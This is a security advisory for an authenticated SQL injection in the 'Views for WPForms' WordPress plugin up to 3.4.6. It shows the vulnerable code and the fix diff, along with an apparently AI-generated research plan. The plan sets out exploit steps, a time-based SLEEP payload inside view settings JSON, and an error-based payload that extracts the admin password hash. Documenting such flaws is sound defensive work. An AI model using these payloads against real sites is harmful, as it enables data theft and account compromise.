Views for WPForms – Display & Edit WPForms Entries on your site frontend <= 3.4.6 - Authenticated (Contributor+) SQL Injection
Description
The Views for WPForms – Display & Edit WPForms Entries on your site frontend plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.4.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with contributor-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=3.4.6What Changed in the Fix
Changes introduced in v3.4.7
Source Code
WordPress.org SVNThis research plan outlines the steps to exploit a SQL Injection vulnerability in the "Views for WPForms" plugin. ### 1. Vulnerability Summary The **Views for WPForms** plugin (up to 3.4.6) is vulnerable to a time-based or error-based SQL Injection via the sorting parameters stored in a View's sett…
Show full research plan
This research plan outlines the steps to exploit a SQL Injection vulnerability in the "Views for WPForms" plugin.
1. Vulnerability Summary
The Views for WPForms plugin (up to 3.4.6) is vulnerable to a time-based or error-based SQL Injection via the sorting parameters stored in a View's settings. Specifically, the $field_id and $direction parameters are concatenated directly into a raw SQL query within the wpforms_views_get_submissions function without sufficient sanitization or preparation using $wpdb->prepare().
Since Contributors can create and edit their own "Views" (wpforms-views post type), they can inject malicious SQL payloads into the view_settings metadata. When this View is rendered via its shortcode (e.g., on a post or page), the payload is executed.
2. Attack Vector Analysis
- Vulnerable Sink:
inc/helpers.phpinsidewpforms_views_get_submissions()at the lines:$sql_query .= " AND f.field_id = {$field_id} GROUP BY e.entry_id ORDER BY f.value {$direction} LIMIT {$offset},{$limit}"; - Vulnerable Parameters:
$field_id(from$sort['field_id']) and$direction(from$sort['direction']). - Authentication: Required (Contributor+).
- Preconditions:
- The WPForms plugin must be installed (as the plugin relies on
wpforms()function). - At least one WPForms form must exist.
- A
wpforms-viewspost must be created with a maliciousview_settingsJSON object.
- The WPForms plugin must be installed (as the plugin relies on
3. Code Flow
- Entry Point: A user views a page containing the
[wpforms-views id="XX"]shortcode. - Shortcode Handling:
WPForms_Views_Shortcode::shortcode()ininc/class-wpforms-views-shortcode.phpis triggered. - Settings Loading: The function retrieves JSON settings from post meta:
get_post_meta( $view_id, 'view_settings', true ). - View Processing:
get_view( $view_settings )is called. - Sort Argument Building: The code iterates through
viewSettings->sortand populates$args['sort_order']withfield_idanddirection. - Vulnerable Sink:
wpforms_views_get_submissions( $args )ininc/helpers.phpis called. - Injection: If
field_idis a custom field ID (notsubmission_idorentryDate), the code enters theelseblock (around line 105) and appends the unescaped parameters to$sql_query.
4. Nonce Acquisition Strategy
To create a View and save its settings as a Contributor:
- Create View: Use the AJAX action
wpf-views-create(inferred fromwpforms_views_admin_scriptsinwpforms-views.php). - Acquire Nonce:
- Navigate to
/wp-admin/edit.php?post_type=wpforms-views. - Use
browser_evalto extract the nonce:window.wpf_views_admin?.create_nonce.
- Navigate to
- Save Settings: The plugin uses a React app to save. This likely uses a REST API endpoint or a specific AJAX action like
wpf_views_save_settings.- Note: Since we are a Contributor, we can also try updating the post meta
view_settingsdirectly via the WordPress REST API for posts if enabled:POST /wp-json/wp/v2/wpforms-views/{id}.
- Note: Since we are a Contributor, we can also try updating the post meta
5. Exploitation Strategy
We will use a time-based blind SQL injection payload in the direction parameter.
Step 1: Create a View
Perform an AJAX request to create a new View post.
- Action:
wpf-views-create - Nonce: Extracted from
wpf_views_admin.create_nonce - URL:
/wp-admin/admin-ajax.php
Step 2: Update View Settings
Inject the payload into the view_settings meta. The direction field will contain the SLEEP command.
- Payload JSON:
{ "formId": "1", "viewType": "table", "sections": {"beforeloop": {"rows": []}, "loop": {"rows": ["row_1"]}, "afterloop": {"rows": []}}, "rows": {"row_1": {"cols": ["col_1"]}}, "columns": {"col_1": {"size": "1", "fields": ["1"]}}, "viewSettings": { "multipleentries": {"perPage": "10"}, "sort": [{ "field": "1", "value": "ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)" }] } } - Method: Use the plugin's save AJAX action (likely
wpforms_views_save_settings) or the REST API.
Step 3: Trigger Injection
- Create a public post/page containing
[wpforms-views id="<NEW_ID>"]. - Request that page using
http_request. - Measure the response time.
6. Test Data Setup
- Install WPForms:
wp plugin install wpforms-lite --activate - Create a Form:
wp eval "wpforms()->form->add('Test Form');"(or via UI). - Create a Contributor User:
wp user create attacker attacker@example.com --role=contributor --user_pass=password
7. Expected Results
- The HTTP request to the page containing the shortcode should take at least 5 seconds to return.
- The SQL query logged (if debugging is on) will show:
... ORDER BY f.value ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a) LIMIT 0,10
8. Verification Steps
- Check Meta: Use WP-CLI to verify the payload is stored correctly:
wp post meta get <VIEW_ID> view_settings - Confirm Execution: Observe the
last_queryin the$wpdbglobal or use a MySQL general log to see the executed SLEEP command.
9. Alternative Approaches
- Field ID Injection: If
directionis somehow restricted, inject intofield_id.- Payload:
1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)
- Payload:
- Error-Based SQLi: If
WP_DEBUGis true, useupdatexml()orextractvalue()to leak the database version or admin password hashes.- Payload for
direction:ASC, (select 1 from(select updatexml(1,concat(0x7e,(select user_pass from wp_users where id=1)),1))a)
- Payload for
Summary
The Views for WPForms plugin is vulnerable to authenticated SQL Injection due to the improper handling of sorting parameters in the `wpforms_views_get_submissions` function. Attackers with Contributor-level permissions can inject malicious SQL payloads into the View's settings, which are executed when the View is rendered via a shortcode, allowing for the extraction of sensitive database information.
Vulnerable Code
// inc/helpers.php (approx. lines 65-125 in version 3.4.6) foreach ( $args['sort_order'] as $sort ) { $field_id = $sort['field_id']; $direction = $sort['direction']; // ... [Logic for standard fields] ... } else { // For custom fields in the non-filter case, we need to use a custom query // This is a simple implementation for the lite version $entry_table = WPForms_Views_Common::get_entry_table_name(); $entry_fields_table = WPForms_Views_Common::get_entry_fields_table_name(); $limit = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25; $offset = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0; $form_id = absint( $args['form_id'] ); $sql_query = "SELECT e.* FROM {$entry_table} e LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id WHERE e.form_id = {$form_id} AND e.status != 'trash' AND e.status != 'partial'"; if ( ! empty( $entries_args['entry_id'] ) ) { $entry_id = absint( $entries_args['entry_id'] ); $sql_query .= " AND e.entry_id = {$entry_id}"; } $sql_query .= " AND f.field_id = {$field_id} GROUP BY e.entry_id ORDER BY f.value {$direction} LIMIT {$offset},{$limit}"; $results = $wpdb->get_results( $sql_query );
Security Fix
@@ -43,7 +43,9 @@ 'query_var' => true, 'rewrite' => array( 'slug' => 'views-for-wpforms-lite' ), - 'capability_type' => 'post', + 'capability_type' => 'page', + 'map_meta_cap' => true, 'has_archive' => false, 'menu_icon' => 'dashicons-format-gallery', 'hierarchical' => false, @@ -63,8 +63,13 @@ // Add order by parameters if ( ! empty( $args['sort_order'] ) ) { foreach ( $args['sort_order'] as $sort ) { - $field_id = $sort['field_id']; - $direction = $sort['direction']; + $field_id = isset( $sort['field_id'] ) ? $sort['field_id'] : ''; + $direction = isset( $sort['direction'] ) && 'DESC' === strtoupper( $sort['direction'] ) ? 'DESC' : 'ASC'; + + if ( empty( $field_id ) && '0' !== $field_id ) { + continue; + } + if ( in_array( $field_id, array( 'submission_id', 'entryId', 'entryid' ) ) ) { $entries_args['order'] = $direction; $entries_args['orderby'] = 'entry_id'; @@ -76,43 +81,56 @@ // This is a simple implementation for the lite version $entry_table = WPForms_Views_Common::get_entry_table_name(); $entry_fields_table = WPForms_Views_Common::get_entry_fields_table_name(); + $field_id = absint( $field_id ); - $limit = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25; - $offset = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0; - $form_id = absint( $args['form_id'] ); + if ( empty( $field_id ) ) { + continue; + } - $sql_query = "SELECT e.* FROM {$entry_table} e + $limit = isset( $entries_args['number'] ) ? absint( $entries_args['number'] ) : 25; + $offset = isset( $entries_args['offset'] ) ? absint( $entries_args['offset'] ) : 0; + $form_id = absint( $args['form_id'] ); + $entry_id = ! empty( $entries_args['entry_id'] ) ? absint( $entries_args['entry_id'] ) : 0; + + $sql_query = "SELECT e.* FROM {$entry_table} e LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id - WHERE e.form_id = {$form_id} - AND e.status != 'trash' - AND e.status != 'partial'"; - - if ( ! empty( $entries_args['entry_id'] ) ) { - $entry_id = absint( $entries_args['entry_id'] ); - $sql_query .= " AND e.entry_id = {$entry_id}"; + WHERE e.form_id = %d + AND e.status != %s + AND e.status != %s"; + $sql_params = array( $form_id, 'trash', 'partial' ); + + if ( ! empty( $entry_id ) ) { + $sql_query .= ' AND e.entry_id = %d'; + $sql_params[] = $entry_id; } - $sql_query .= " AND f.field_id = {$field_id} + $sql_query .= " AND f.field_id = %d GROUP BY e.entry_id ORDER BY f.value {$direction} - LIMIT {$offset},{$limit}"; + LIMIT %d,%d"; + $sql_params[] = $field_id; + $sql_params[] = $offset; + $sql_params[] = $limit; - $results = $wpdb->get_results( $sql_query ); + $results = $wpdb->get_results( $wpdb->prepare( $sql_query, $sql_params ) ); // Total entries count - simplified for lite version - $count_query = "SELECT COUNT(DISTINCT e.entry_id) FROM {$entry_table} e + $count_query = "SELECT COUNT(DISTINCT e.entry_id) FROM {$entry_table} e LEFT JOIN {$entry_fields_table} f ON e.entry_id = f.entry_id - WHERE e.form_id = {$form_id} - AND e.status != 'trash' - AND e.status != 'partial'"; - - if ( ! empty( $entries_args['entry_id'] ) ) { - $count_query .= " AND e.entry_id = {$entry_id}"; + WHERE e.form_id = %d + AND e.status != %s + AND e.status != %s"; + $count_params = array( $form_id, 'trash', 'partial' ); + + if ( ! empty( $entry_id ) ) { + $count_query .= ' AND e.entry_id = %d'; + $count_params[] = $entry_id; } - $count_query .= " AND f.field_id = {$field_id}"; + $count_query .= ' AND f.field_id = %d'; + $count_params[] = $field_id; - $total_entries_count = $wpdb->get_var( $count_query ); + $total_entries_count = $wpdb->get_var( $wpdb->prepare( $count_query, $count_params ) ); $submissions['total_count'] = $total_entries_count;
Exploit Outline
The exploit requires an attacker with Contributor-level access to the WordPress admin panel. 1. **Payload Preparation**: The attacker creates a new 'WPForms View' post. During the creation or subsequent editing of this View, the attacker provides a malicious JSON configuration for the `view_settings` post meta. 2. **Injection Point**: The payload is embedded within the `sort` array of the `viewSettings` JSON object. Specifically, the attacker injects SQL commands into the `value` field (which corresponds to the SQL `direction` parameter) or the `field` key (which corresponds to `field_id`). 3. **Payload Construction**: A typical payload would use a time-based blind injection (e.g., `ASC, (SELECT 1 FROM (SELECT(SLEEP(5)))a)`) or an error-based injection technique to leak data. 4. **Execution**: The attacker places the shortcode for the malicious View (e.g., `[wpforms-views id="123"]`) on a public-facing post or page. When any user (including the attacker) visits that page, the plugin retrieves the malicious settings and concatenates the payload directly into the SQL query executed in `wpforms_views_get_submissions`.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.